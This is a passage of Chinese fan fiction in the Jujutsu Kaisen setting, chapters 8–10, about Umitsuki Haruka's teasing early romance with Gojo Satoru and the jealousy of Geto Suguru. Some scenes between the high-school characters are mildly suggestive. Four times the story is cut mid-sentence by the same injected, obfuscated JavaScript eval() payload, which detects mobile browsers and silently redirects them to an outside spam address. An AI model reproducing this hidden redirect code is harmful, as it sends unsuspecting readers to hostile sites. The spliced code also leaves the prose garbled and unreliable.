他脸上的墨镜虽然遮住了他的双眼,但却难以掩盖他此刻的情绪。眉峰明显下沉,嘴角也紧绷成一条直线。 看上去是真的生气了。海月遥正要道歉,教室门却被辅助监督老师猛地推开。两人闻声望去,只见老师带着扭曲的笑,满含怒色,一字一顿地说道:“罚站不是让你们聊天,我在里面听得一清二楚。” 高专教室的隔音真差。这是她的第一反应。但海月遥也很快反应过来,向老师道歉后便不再说话。 五条悟也一反常态地保持沉默,只是双手环胸站立,周身散发着低气压。 老师懒得再搭理这两个问题学生。 说实话,这一届学生大概是所有老师都不愿意教的。上课说话的五条悟和夏油杰,发呆的海月遥,还有睡觉的家入硝子。这四个人没一个认真听课,但偏偏他们的理论课成绩又都相当出色。 真是拿他们没办法! 等老师进去后,两个人谁也没说话。 片刻,海月遥行动了。 她面无表情地走进教室,在众目睽睽之下从书桌里取出物品,然后又淡然地离去。 整个过程中,她未发一言,宛如幽灵般飘入又飘出。 考虑到其他还在上课的同学,一位冷着脸望向窗外,另一位则趴在桌上睡觉,老师觉得多一事不如少一事,便没有多说什么。 她站在五条悟旁边,蹲下身开始忙碌起来。他虽余怒未消,却忍不住用余光瞟向她。 过了一会儿,他也蹲下身,侧头想探究海月遥在做什么。 她瞥见他的动作,微微倾身,在他耳边用气音说道:“等会儿你就知道了,现在先别看。” 她还记得老师说过,他们俩太闹腾,只好这样交流。可不料,他的反应却出奇得大,像是一只受惊的猫,浑身毛都炸起来,差点就往后一坐。 海月遥疑惑地看向他,却见那绯红犹如天边的红云,热烈地在他脸侧翻滚。五条悟紧紧捂住那只耳朵,连墨镜滑下来也顾不上,睁大眼睛看向她。 在色彩学上,冷暖色调的碰撞总能产生强烈的视觉冲击。 就像此刻,不知是红晕使得那苍蓝眼眸更显澄澈,还是那蓝眼睛映衬得白皙肌肤上的红潮愈发浓烈。 海月遥正想说什么,他却小声又迅速念叨一句“不看就不看”,背过身不理她。 悟真奇怪。 她没有再多管,继续自己的任务。 做惯了各式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581144|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇特的咒具和小玩意,海月遥手很巧,没过多久,作品便大功告成。她戳了戳五条悟的背,他也不转身,一手支着下巴,侧首斜睨她一眼。 也不知是气头上,还是为了不让她看见自己满脸的红晕。 海月遥把自己的作品交给他。 五条悟接过。 ——那是一本无限翻折书,扉页上绘有面带歉意的Q版海月。 他翻开一页,纸上写着“ご”。 再翻。 是“め”。 继续翻。 出现“ん”。 “ご”、“め”、“ん”…… ——是“ごめん(对不起)”。 耍这种小把戏就以为他会原谅她吗? 五条悟再一翻,又回到扉页上的Q版海月。小海月低垂着眼帘,双手不自然地绞在一起,又不安,又满怀歉意。 他转过头,看见海月遥轻轻扯了扯他的衣摆,她脸上依旧是那副无波无澜到让人恨得牙痒痒的表情,哪有Q版的那般诚恳? 她似乎想在他背上写字,一下又一下,酥麻的痒意从她指尖接触到的地方蔓延开。五条悟终于忍受不了,侧身抓住她的右手。 海月遥没有挣扎,反而顺着他的力道,右手按在他曲起的膝盖上,俯身,轻声说道:“对不起,我不会再开这样的玩笑了。” 想起五条悟之前的异样反应,她这次特意保持了距离,然而还是太近,他脸上还未消散的红晕又加深几分。 “悟?” “……勉强原谅你了。”他把翻折书小心翼翼地放进口袋。 不,他原不原谅关她什么事。海月遥不爽地想。她只是做错事就会道歉罢了。 这样才公平。 “你可以松手了。”她冷淡地提示道。 五条悟才留意到自己一直没有松开她的手腕,刚想松开,却又瞥见她那双始终冷漠的眼眸。心头涌起一股既烦躁又羞恼的情绪,他拖长音调道:“不——要——” 这人难道还没小学毕业吗? 海月遥懒得多看他一眼,忽然想起什么,神色变得更为凝重,低声说:“悟,这次检讨你得替我写。” “不——要——”他拒绝。 她据理力争:“是你害我写检讨的,我本来在专心上课。” 五条悟揭穿她的“好学生”伪装:“你以前的检讨也很多没写吧?” “没有截止日期,就可以不写。”海月遥坚持自己的人生准则。 “那这次也不写。” “……” 两人对视一眼。 欢快地击掌! …… 海月遥和五条悟这个时候还很硬气。 走进夜蛾正道办公室的时候也很硬气。 跪下来的时候也很硬气。 拳头往脑袋上一砸。 一下子就软下来了。 他们头顶着大包,弯下腰,低下之前高昂的头颅,垂头丧气,就像是地里没浇水的大白菜。至少看上去愧疚。 “老师,对不起!”两人异口同声地说道。 “回去后再交一千字检讨!” “是的!”x2 …… 出门后。 五条悟:“写吗?” 海月遥:“不写。” “……” 两人对视一眼。 又是欢快地击掌! 8. 悟线(八) “好无聊~” 在海月遥的宿舍里,某只白毛坐在床边,开始发出长呼短叹。 这本应是他们交往后的第一个休息日,海月遥原计划是在宿舍悠闲地躺过一整天。然而,五条悟一大早便兴冲冲地敲响她的门。 信奉“天上天下唯我独尊”的某人,缺乏社交常识,对人类交往中的边界感也毫不在意。 例如,他在她还未醒来时敲门,硬是将她从睡梦中吵醒,又比如,他肆无忌惮地闯入女生卧室,大大咧咧坐在她床上。 当然,他也被狠狠揍了一拳。 “我来找我的女朋友有什么问题吗!” 五条悟找到免死金牌,大声嚷嚷。幸好高专宿舍的隔音比教室好,否则隔壁缺觉的家入硝子恐怕要发飙了。 “……那你到底有什么事?” 五条悟自己也不清楚想要什么,他就像得到了新玩具,看哪儿都觉得新鲜。他甚至希望海月遥能缩小到手掌大小,这样他就能随时揣在兜里,方便随时把玩。 但如果直接说没事,绝对会被她轰出去。 “今天没课。”“嗯。”“最近也没任务。”“嗯。”“天气挺好。” 海月遥终于不耐烦了:“快说正事!” “我们去约会吧!” “0。” 秒拒! “天天宅在宿舍是会变成蘑菇的!”他试图去打扰正昏昏欲睡地看着漫画的海月遥。 就像有些猫咪喜欢打碎玻璃、抓挠沙发来吸引主人注意,他围着坐在转椅上的海月遥转起了圈。 觉得这还不够,他又去扒拉转椅,让海月遥开始“自转”,晃得她头晕目眩。 当她面无表情地看向他时,五条悟摘下墨镜,露出了那双与价值连城的帕拉伊巴碧玺相媲美的蓝眼睛。他模仿着自拍的女子高中生,双手放在脸侧,眨巴着眼睛,嘟起嘴唇卖萌。 海月遥:…… 她毫不犹豫地踹了他一脚。 但他是山间灵活的猴,轻松避开。 上次他俩闹矛盾后,海月遥决定还是暂且向五条悟瞒下这件乌龙,继续陪他交往下去。 她不太想再看见上次他那样的表情…… 反正自己性格恶劣,又过于冷淡,一般人大概难以接受。等五条悟对她的感情转淡后,她就提出分手。 目前,她就当作是一切正常,继续交往。 然而,此刻头晕的她开始质疑自己之前的决定:人类真的能和动物界脊索动物门哺乳纲灵长目人科大猩猩属的生物交往吗? 她要申请精神损失费! “约会~约会~约会~”五条悟仿佛为偶像应援般,连连高呼口号。 真是拿他没办法。 海月遥冰冷地宣布:“今天的约会地点是我的宿舍。”说完,继续又看起了漫画。 “……你在看什么呢?”见策略不成功,五条悟扁了扁嘴,索性凑到她身旁大方地偷看。注意到她竟边看边做笔记,他忍不住吐槽,“看漫画也要这么认真吗?” “1。” 海月遥顿了顿,又解释道:“我在学习漫画里的恋爱技巧。” “不……这个就没必要学了吧?”他有时候觉得她实在是抽象。 她转头,看着五条悟,迟疑地问道:“悟……莫非经验很丰富?” “哈?不……啊……?” 他先是挑眉,正要开口,却又突然皱起了眉头,满脸困惑,最后竟莫名地红了脸。 “我也是第一次……”他小声嘀咕。 海月遥露出嫌弃的表情。 “你那是什么表情!”为了掩饰自己刚才的底气不足,五条悟此时又提高音量,不满地拉扯着她的脸颊肉。 “没什么。”她别过头去,嘲讽道,“既然也没经验,就别打扰我了。” “哼,谁稀罕。” 他溜进海月遥宿舍的小客厅,目光所及全是她杂乱的收藏,但她称那是恶龙的藏宝阁。 无聊地玩了一会儿后,他坐回她床边,跷起腿,手撑着下巴仔细端详她。 “为什么看着我?”海月遥头也未抬,语气平淡地问。 “我想看就看,关你什么事?” “是吗?”她不置可否,脚一滑,转椅便带她滑到他面前。她一手持着漫画书,一手捏住他的下巴,迫使他低下头来。那双澄澈的猫眼又大又圆,往上一挑,直直地盯着他。 “现在,你可以好好看了。” 海月遥自觉十分贴心,像她这般好的人已不多见。 然而,五条悟似乎并不领情。 看着看着,他的脸颊微微发热,恼怒地别过头去。 “谁稀罕看你!”他边说边推开她的肩膀。 哗啦——哗啦—— 她顺着他的力道,面无表情地随着转椅慢悠悠地晃荡着,直到碰到墙壁才停下。 再见妈妈,今晚我就要带着智慧远航.jpg 明明是他自己说要看的,现在说不看的也是他。男人都是这么复杂吗……真是搞不懂…… 等等,他这种反应……? 海月遥想起漫画里的情节,指着五条悟,就像法庭上向对方律师提出异议般,脱口而出:“傲娇!” “哈?!” “悟是傲娇。”她笃定地重复。 “这种人设其实在jump上也很受欢迎呢……”说完,她喃喃自语,“但是近些年似乎有下滑的趋势,是因为经济不景气吗?” “你看漫画就学了这些东西吗……?”五条悟嘴角抽搐,“而且谁是傲娇了?你这个三无女。” “三无可是jump上一定会大卖的女主人设,快道歉!”海月遥严肃地指责他。 “所——以——说——,三无早就过时啦。”他吐舌做鬼脸。 海月遥决定试试温柔人设。她揉了揉脸,勉强挤出一丝笑容。 她仰起头,猫眼弯起,唇角勾勒出一个危险而锐利的弧度,尖利的虎牙若隐若现。 高密度的蓝凝聚在玻璃珠般的眼球里,闪烁着冷漠无机质的光芒,仿佛一台精密机械般,毫无情感地注视着眼前的人。 “变态抖s女。” “……真是失礼,我现在可是温柔大姐姐的形象。”她心中暗记人设,强忍揍人的冲动。 “笑得更渗人了。”五条悟锐评。 又吵她睡觉,又晃得她头晕,还打扰她休息,甚至嘲笑她……海月遥心底默默列举着五条悟的条条罪状。 一阵沉默后,她心平气和地放好漫画书,猛地扑上去与他扭打起来。 …… 两人互挠一阵后,海月遥捧着书坐回转椅,这次她铁了心,决定无视那个烦人的家伙。 “遥?” 她不予理睬。 “遥!” 她保持沉默。 “海、月、遥!” 她仅微微抬眼,以示回应。 …… 不理就不理! 五条悟感到极度不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581145|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满。 他与海月遥交往已经有四天,但她的态度与交往前无异。尤其令他难以忍受的是,当他质问她“我们不是在交往吗?”时,她竟然移开视线,事后才轻描淡写地道歉说只是开玩笑。 这种玩笑难道是可以随便开的吗?! 明明那天约会时,她还在害羞地说:“我真的很喜欢超级大帅哥五条悟。” 交往之后她的态度却那么冷淡,回复消息时也只用“1”和“0”,不知情的人恐怕会误以为他在和机器聊天呢。 他对她本来也只有一点点好感,当初仅是出于同情才答应交往…… 现在又不理他…… 谁在乎! 她不说话,他也就不说话。 但五条悟拉着转椅,让她停在床前,而他就坐在床边,和她面对面,一言不发地盯着这个对自己毫不理睬的混蛋女人。 长时间的对峙在两人间蔓延,直至海月遥的一句话划破这份沉默。 “你在看我。” “是,我在看你!”五条悟嗤笑一声,“那又怎么样?” “……没什么。” 片刻后,她又开口说:“手。” 她朝他伸出手,他不明所以地搭上。 她的手指白净细长,指甲修剪得圆润,手感微凉,宛如上好的玉石。她边看着漫画,边心不在焉地轻抚他的手心,忽而又用指尖细细描摹他手腕内侧那若隐若现的青紫血管。 大猫被安抚下来。 五条悟只觉手心发痒。他跷起腿,一手撑在膝上,托着下巴侧头凝视她,安静下来。 但这种安静也持续不了多久,新鲜感一过,大猫便又开始不满地喵喵叫唤。 好吵。 海月遥平静地看着他。 拿他没办法。 她站起身,然后面对面地坐在他腿上,双手环抱住他的腰,像哄孩子一样,轻拍着他的背。海月遥的下巴轻搁在他肩头,继续沉浸在漫画的世界里。 这下又安静了……大概十秒。 五条悟仿佛受到了某种刺激,猛然站起,双手从腋下将她托起。 双脚离地的海月遥:…… 怎么,又让她cos辛巴吗? 她的双腿在空中无力地晃荡,就像男孩节时空中飘舞的鲤鱼旗。 (注:日本男孩节,人们会悬挂鲤鱼旗,寓意孩子健康成长。) 她面无表情地俯视着五条悟,眼神中透露出“你又发病了”的关切。薄蓝色的眼睛轻轻一扫,便察觉到异样。 “呵。”她嗤笑一声,移开视线。 “哈?!你笑什么?” “呵。”她再次轻笑,没有回应。 五条悟不满地举着她摇晃。海月遥就像海中的海草,软绵绵地任由他摆布,仿佛没了骨头。结果晃了半天,也只掉出一本漫画书。看来,这位BOSS还是个守财奴。 “悟,你到底想干什么?”玩够后,海月遥平静地问道。 “我们是恋人。”“嗯。”“那怎么跟平常没两样。”“我不是在学吗?”“……你学的就只有取笑我这一点?” 话音刚落,海月遥又转过头去:“哈哈。” 真让人恼火。这个家伙,太让人恼火了。 “要像恋人一样是吧,我懂了。”她赤足踩在他胸膛上,命令道,“放我下来。” 五条悟半信半疑地照做,还不忘补充。 “不是像,本来就是!” 他们本来就是恋人! 9. 悟线(九) “悟……你没别的事要忙吗?” 海月遥睡眼惺忪,身着睡衣去应门。一看是五条悟,她脱口而出。 这家伙,昨天还跟她在宿舍呆了一天,到很晚才回去,今天一大早就又来了,他难道不需要多休息会儿? “……” 等了一会儿,没听到五条悟的回答,她茫然地打量起他来。 他脸上那副薄薄的墨镜挡住了她的探究目光,让她无法注意他的视线落点。海月遥也不深究,直接将他拉入房内,随手关上了门。 她大大地打了个哈欠,不管他,径直往卧室走去。为了长高,她一直保持着规律的作息,现在还没到她的起床时间呢。其实昨天也没睡够,今天她更想多赖床一会儿。 “漫画和游戏都有,零食和饮料在小厨房,你随意,我先睡会儿。”叮嘱完,她往床上一躺,迷迷糊糊地准备继续她的美梦。 从她开门到现在,五条悟始终保持僵硬。 原因无它,海月遥实在是穿得太清凉了。 这位平日里捂得严严实实,连脖子都不露的三无女,即使在夏天也会在背心外套上一件高专制服。 此刻,她穿着一件宽松T恤,下摆仅到大腿根下一小段,领口敞开,锁骨下的肌肤若隐若现。他比她高出一个头,几乎是一览无余。 她怎么就如此放心地让自己自由行动,还那样安然地睡在床上? 防备心未免也太低了吧! 煎熬。 他随手抽出一本漫画,心不在焉地翻开。这大概就是她昨天看过的那本恋爱漫画,书页上还留有少女清隽的批注。 他逐渐沉浸其中,看得入迷。 …… 当海月遥醒来时,发现五条悟正坐在他的专属转椅上看漫画。 他戴着墨镜,也没有低头……真的是在看漫画吗?或者说,他习惯用余光来看书? “悟?”她没有多想,打了个哈欠,半坐起来,身上的羽绒被顺势滑落,“我睡多久了?” 五条悟仍保持着原来的姿势,但脸却渐渐泛起红晕,手中的漫画还停留在他刚翻开的第一页。 怎么又不说话? 海月遥不太习惯这个人突然变得如此安静。她瞥了眼时间,发现自己仅小睡了半小时。见他迟迟不说话,她困惑地观察他一会儿,然后下床穿鞋,准备走向他。 然而,她刚迈出脚步,他就差点从转椅上跳下来。 海月遥:??? 她发出对他的真挚关心:“有病?” “你先把衣服穿好啊!!!” 话虽如此,他的视线却始终没有移开。反正带上墨镜,也没人知道他看着哪里。人渣理直气壮地想。 该脸红脸红,该看还是得看。 海月遥面无表情地检查自己的穿着。一切正常,除了…… 等等,她发现了华点! “悟,你想不想看?”她指尖轻捏着T恤下摆,做出一副似掀非掀的姿态。 “啊……?”他下意识咽了口唾液,喉结随之上下滚动,“……真的可以看吗?” 她歪头:“我们是恋人。” 他犹豫0.5秒,便毫不迟疑地答应:“看!你等下不许反悔!” 她敷衍点头。 五条悟不说话了。 海月遥故意放慢动作,缓缓提起T恤的下摆。随着她的动作,露出更多白皙的肌肤。在即将揭晓答案之际,她却突然停手,冷不防地问道:“你猜是什么颜色?” “……哈?!” “你在说什么!”他满脸通红,不仅脸颊,连脖子和耳尖都泛起了红晕。他刚才紧张得屏住了呼吸,现在一说话,呼吸都显得急促。 “猜吗?”海月遥故作无辜地偏了偏头。 她看着他张大了嘴,而后紧紧咬住下唇。 “不猜!也不看了!”他烦躁地手按着头,修长的手指穿插在发丝间。 “确定不看?” 他沉默不语,别开眼,但那雪白发丝间的耳根却羞红一大片,就像一块鲜艳欲滴的红玉,惹得人想要细细把玩。 海月遥有时觉得逗他很有趣。 她走上前,右腿膝盖跪在他两腿之间,一手按着他的后脑勺,迫使他低下头。 仿佛在挑战耐心,她慢慢地掀起衣摆。 最终,深蓝色映入眼帘。 但是…… ——这是一条牛仔短裤。 开玩笑,她怎么可能不穿裤子去开门! 看着他又羞又恼的表情,海月遥嘲讽道:“满意吗?” 他一声不吭,脸却红得更彻底。 真可怜,又被气成这样。海月遥总是乐此不疲地在逗弄和惹怒五条悟之间徘徊。 目的达成,她也不多呆,轻拍他柔软的发顶,抽走他手中的漫画。简单洗漱后,她径自坐回床边又开始看书。 …… 在海月遥问出猜颜色的出格问题时,五条悟就明白,这个家伙一定是在恶作剧。 可被按着头看的时候,他又不争气地随着她提起衣摆的动作屏住呼吸,看到那条牛仔裤,他心中暗道“我就知道”。正想开口,却又被另一处景象吸引。 她单手抬起衣摆,一侧提得稍高,不经意间露出柔软的腰肢。在衣物投射的阴影下,那截如玉般白皙的肌肤透出淡淡清辉,宛若黑夜里朦胧又苍白的月光。而这道隐约的月色,又沿着腹部的优美曲线流淌而下,悄然融入牛仔裤的边沿。 “满意吗?” 她冷淡的声音从头顶传来。 抬眼,只见她居高临下地睥睨着他。饱和度极高的琉璃蓝色眼眸锁定在他脸上,观察着他的神情。得到预想之中的反应后,猫眼狡黠地弯起,闪烁着恶劣的笑意。 她侧头,未加束起的黑发自然垂落,一根极细的发丝粘在唇角,为平添一抹别样的涩气。她像安慰小狗一样轻拍自己的头,然后毫不犹豫地转身离开,没有丝毫留恋。 恶劣的抖s变态女。 五条悟满脸通红地暗骂。 这人一旦达成目的,便不再理睬他,只顾坐在床边沉浸在漫画中。昨天在看,今天也在看,那本漫画究竟哪里有魅力?有他好看吗? 在他家时也一样,她总是随心所欲地坐在木地板上,翻阅那些他认为枯燥无味的古籍。他这样超绝大帅哥在她身旁,却总被她彻底忽视。 好吧,他确实答应过她可以随便看。但他也把六眼输给她了,为什么她不来研究一下自己呢? 他这双眼睛可是几百年难遇的稀世珍宝,同时代仅此一双的六眼! 分明比那些书珍贵多了! 说到底,他现在是她的男朋友,去找她完全是合情合理的。五条悟这样想着,坐到她身边。 “嗯?”她轻哼一声以示疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581146|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他问:“我们是恋人吧?” “嗯。”这次她倒没有故意耍心眼。 “但现在感觉完全不像!”五条悟表达不满。 海月遥不解地看向身旁的少年,心想,她这不正在学习如何做一个恋人吗? 昨天她不就答应他了,现在正在加班加点地学习呢。 这孩子真心急。 她想着,往离他更远的地方挪,待他侧头看向自己时,猛地按住他的头,让他枕在自己腿上。 是膝枕。 五条悟恍惚地枕在她裸露的大腿上,头顶传来某人振振有词的声音:“牵手、拥抱、膝枕,不都是恋人间的举动吗?” “漫画里都是这么画的。” ……但膝枕会不会进展太快了些? 侧躺,脸颊会紧贴她微凉的大腿;正躺,眼前又是……他不知所措,只觉耳根阵阵发烫。 “我……”他刚开口,就被海月遥不耐烦地打断:“你不是说自己是第一次吗?既然你也不懂,就听我的。” 她刚学的,绝对不会出错。 但游戏里的恋人在一起后,应该是牵着手出去约会才对! 经验来自游戏的五条悟在脑中反驳。 两人半斤八两。 少女的大腿柔软如云,枕上去仿佛漂浮在梦境中。靠得这么近,他能清晰嗅到她身上清冽的气息。她一手无意识地轻抚着他的发丝,就像在给猫咪顺毛一样。 这样的感觉似乎也不错。五条悟打消继续纠缠的念头。他戴着墨镜,谁也不知道他的目光落在哪里,于是他索性正面朝上,直接躺在她的大腿上。 视线里,一半是圣贤书,一半是……咳,颜如玉。 安详。 然而,这份和谐并未持续太久。海月遥突然茫然地指出:“悟,你流鼻血了。” 她将他扶正,迅速用波纹治疗,接着用湿巾仔细擦拭。同时,她还不解地分析着:“现在才三月底,气温也不高,怎么会突然流鼻血……” 海月遥手中的动作突然一顿,仿佛想到了什么,她看向五条悟,忍不住吐槽道:“悟,难道你每天都只想那种事吗?” 没想到会因为鼻血露馅的五条悟:…… 五条悟从呆滞中回过神来,脸上露出一丝尴尬,他瞪了海月遥一眼,反驳道:“哪有每天!只是你这个家伙不懂,不开窍而已!” 他这个大帅哥在她旁边,她都不馋一下! 胜负心极强的海月遥骤然捏紧沾满血迹的纸团。她抬头,斜了五条悟一眼,幽幽地说道:“我不懂?我见过的男人裸体比你手机壁纸换过的写真偶像加起来都多。” 五条悟先是一愣,关注点完全歪楼:“我现在没用写真偶像当壁纸。” “还不是因为硝子说你恶心。”她轻蔑地笑了一声。 “哈?!我才没有……”五条悟的脸色顿时变得难看起来,声音提高了几分。 “……等等!”他的话戛然而止,这才注意到海月遥前半句话,“你到底在哪里看的裸男!” “就不告诉你。”她扮了个鬼脸。 五条悟皱眉,怒极反笑:“吹吧,最多就是看的手机上的照片。” “我上手过。” “……”他瞧见她认真的表情,似乎并没有说谎,他脑中一片空白,一个问题脱口而出: “——包括杰吗?” 10. 悟线(十) 五条悟问出口后就立刻后悔了。 而海月遥只觉得莫名其妙。 这又关杰什么事? “我不会对杰做那种事情。”她毫不犹豫地反驳道。 五条悟一下子不知道自己是该生气,还是该松口气。 不,仔细想想,还是生气。 “……你不是说自己是第一次谈恋爱吗?”他低着头问,心中涌起一种难以名状的酸楚与失落,“难道是骗我的?” 海月遥察觉到他语气中的异样,转头望去。少年独自低垂着头,从侧面能看见那不透光的墨镜后那如羽翼般的白睫毛,敛下眼中的情绪。那双苍蓝色的眼眸,宛如滴着雨的天空,深邃而遥远。 他没有看向她,视线空洞地落在前方。 生气了?海月遥暗自揣测。 但她不明白为什么。 “不,是第一次。”她语气缓和地回应,仿佛在说一件再自然不过的事情,“但那跟谈恋爱没关系。” 这简单的两句话却让五条悟一时语塞,他张了张嘴,不知道该说什么好。“不……这种事,不是应该交往后才……”他语无伦次。 海月遥茫然地看向他。 五条悟不知道在想什么,脸色变得越来越难看。最后,他咬咬牙,开始解开高专制服上的黄铜纽扣。正当他准备继续解衬衫的扣子时,海月遥吃惊地握住他的手腕。 “你干什么……”她迟疑地问道。 五条悟瞪了她一眼:“可以看别人,看我就不行吗!我哪里比别人差了?” 这几天,他主动来找她,每次都遭到她的冷淡对待。而她在与他交往之前,竟然还对其他男人……这些念头在他脑海中挥之不去,让他心中的委屈和不甘愈发强烈。 明明他们才是恋人! 一只手被握住,他便用另一只手继续。 “哗啦啦——” 他粗暴地扯开衬衫,扣子如同断线的珠子般崩落,洒在床铺和地板上,发出清脆的响声,却让两人间的氛围更加凝重。 脱了外套,扯了扣子,他里面还有一件黑色T恤。他随手扔开墨镜,扯着T恤下摆,作势要掀。 面对五条悟突如其来的发难,海月遥的反应是…… ——惊恐。 她做不了人类的活体解剖啊!!! 哪怕是他会反转术式也不行!!! “等等,悟!” 她连忙攥紧他的两只手。 就算再迟钝,她也意识到两个人不在一个频道上。 毕竟,哪有活人赶着趟求她解剖的。 …… 她仅用一句话便解释清楚,然后和冷静下来的五条悟面面相觑。 此刻的五条悟显得有些狼狈。 他的外套已被扔到枕头上,衬衫半敞着,黑色T恤下摆凌乱地贴在身上,勾勒出他紧实的腰腹肌肉。尽管衣着不整,但最引人注目的还是他那通红的脸。 有点可爱……但只有一点。海月遥心想。她瞥了眼凌乱的床铺,随手拾起一枚纽扣,面无表情地凝视五条悟。 “脱。” 她命令道。 她正好想试探自己对五条悟是否有性.欲,为什么不趁此机会让他脱衣服。毕竟,五条悟对她的欲望暴露无遗,这说明他喜欢她。现在,就看她是否喜欢他了。 见他没有反应,海月遥直接探身,伸手拽住他的T恤下摆往上掀。他却像是光天化日之下被强抢的民男,紧忙把衣摆往下拽。 “刚才不是脱得很痛快吗?” “不是想让我看你的身体吗?” “怎么不继续脱了?” 她每抛出一句话,他的脸颊就红一分。 突然,敲门声打断了她的举动,海月遥松手,穿鞋去开门。五条悟松了口气,打算趁机把衣服穿回去,直到听到门口传来的声音。 “杰?” 刚才死活不肯脱的五条悟一下子掀起T恤,在身上快速掐了几下,拿着衣服飞奔过去。 他一个箭步冲到海月遥身边,迅速把衬衫系在她的腰间,遮住了她裸露的长腿。然后双手环住她的肩膀,护住她的衣领,决不让对面的夏油杰多看到她一寸肌肤。 正在与夏油杰交谈的海月遥一愣。 她感受到自己被少年的温热气息包围,他裸露的手臂紧环着自己,肌肤轻轻擦过她的脸颊,心底涌起一种微妙的感觉。 但她没细想,直接问道:“悟?” “没——什——么——”他的下巴抵在她的头顶,带着挑衅的眼神看向对面的夏油杰,“倒是杰,你有什么事需要单独来找我的女朋友?” 他在“我的女朋友”上加重了语气。 “我只是来找小遥还书。” 夏油杰的眼神从他裸露的上身和几处暧昧的痕迹上掠过,却依旧笑容温和。他将手中的书递给海月遥,轻声说道:“这是上次找借你的书。” 见他神态自然,并无敌意,五条悟打量了他几眼后,态度也随之放松。他瞥了眼那本书,是心理学方面的。 “看得好快。”海月遥随口感叹一句。这次可比他以前看书的速度快得多。难道杰对心理学方面很感兴趣? “比较喜欢这种类型。”果不其然,夏油杰的下一句话就验证了她的猜想。 两人表情如常,语气平淡,也是朋友间的正常交往。五条悟还记得,当初在同期面前宣布他和海月遥交往时,夏油杰的气场压抑,笑容也极其虚假,与现在截然不同。 难道杰终于放弃了? “我还有同系列的,杰要吗?”海月遥对他们的心思毫无察觉,只是淡淡地问。 “那就麻烦小遥了。”他微微一笑,他望着海月遥摆脱五条悟的环抱,走进房间找书。门口只剩下他和五条悟两人。 “其实,我刚才就想问了。”夏油杰垂下眼眸,又抬头看向五条悟,“悟,你这是……?” 五条悟站直身体,一只手随意地撑在门框上,背脊挺直如青竹,全身透出一种随性不羁的劲。 “和女朋友约会。” “在宿舍里约会?”夏油杰调侃道,“外面天气挺好的,不出去走走吗?” “有些事,房间里才更有情调。”五条悟轻松回应,“各有各的乐趣。” 就在两人闲聊时,海月遥已经找到了书。她看着眼前这个堵住门的一米九巨型物体,平静地掐了一把他腰间的软肉,示意他让开。 待他回头时,她却将身一扭,反从他手臂下溜走。 她走到夏油杰面前,将书递给他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581147|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对了,小遥。”夏油杰接过书,这次他刻意保持距离,没有像之前那样触碰她的掌心。他淡淡地问道:“过几天要回去一趟吗?” 他们口中的“回去一趟”指的是去夏油杰家。两人自幼一起长大,夏油夫妇对她极好,所以她每次都会和夏油杰一同回家看望。 海月遥无所谓,不咸不淡地应了声“嗯”。 她注意到他眼下淡淡的青黑,微蹙起眉头,正想握住他的手腕说些什么,却又被五条悟握住她的手。 他抿起唇,半环住她的腰,语气带着咬牙切齿:“你想干什么?还有,回去是去哪里?” “关心杰。”她一本正经地回答,“去杰家。” 一起回去是指去杰家?五条悟惊诧于她竟能如此坦然地说出这种话。她到底把他置于何地?他们才是恋人吧? 夏油杰也适时露出歉意的笑容,指尖轻敲海月遥的手背,示意她松手。 他先是朝五条悟道歉:“抱歉,悟,我一下子还没改过来。” 然后低头对茫然的海月遥无奈地叹了口气:“小遥,你……这次就我一个人回去吧。你以后有空想来我家做客,随时欢迎。” 他的话语中透露出一丝落寞,但这种神情很快在他脸上一闪而过。 海月遥心里顿时不舒服,“做客”这个词太过刺耳,她也不想看到夏油杰如此失落。 “杰,我……” “我还有些事,先走了。”夏油杰似乎并没有久留的打算,只是等她松手后,深深望了她一眼,便温和地告别离开。 …… 走到两人看不见的拐角后,夏油杰原本柔和的表情瞬间冷下来。 三天! 仅仅三天! 他们之间的关系竟然已经如此亲密! 那晚回去后,夏油杰仔细回想了海月遥的态度变化,推测出事情的大致经过:她可能在不知情的情况下答应与五条悟交往,之后被带到同期面前,碍于情面没有当面反驳。 